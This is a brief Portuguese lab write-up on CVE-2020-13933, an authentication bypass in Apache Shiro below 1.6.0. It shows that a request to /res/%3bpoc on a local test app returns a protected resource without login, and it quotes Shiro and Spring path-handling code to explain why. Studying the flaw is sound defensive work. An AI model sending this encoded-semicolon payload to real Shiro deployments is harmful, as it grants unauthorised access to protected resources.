
Laboratório CVE-2020-13933: vulnerabilidade de bypass de autenticação do Shiro
shiro < 1.6.0 vulnerabilidade de bypass de autenticação
http://127.0.0.1:8080/res/%3bpoc
ShiroConfig.java:
/res/*, ocorre um redirecionamento 302 para a página de login para autenticaçãoNameController.java:
/res/{name}: faz a requisição do recurso chamado name (aciona a autenticação)
/res/: não faz requisição de nenhum recurso (não aciona a autenticação)Quando nenhum nome de recurso é especificado na rota da requisição, a autenticação não é acionada e nenhum recurso é retornado: http://127.0.0.1:8080/res/

Quando um nome de recurso é especificado na rota da requisição, ocorre um redirecionamento 302 para a página de autenticação: http://127.0.0.1:8080/res/poc

Ao construir uma requisição PoC específica que especifica o recurso, a autenticação não é acionada e o recurso é retornado: http://127.0.0.1:8080/res/%3bpoc (%3b é a codificação URL de ;)

// org.apache.shiro.web.util.WebUtils.java
// line 111
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
// org.springframework.web.util.UrlPathHelper.java
// line 459
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}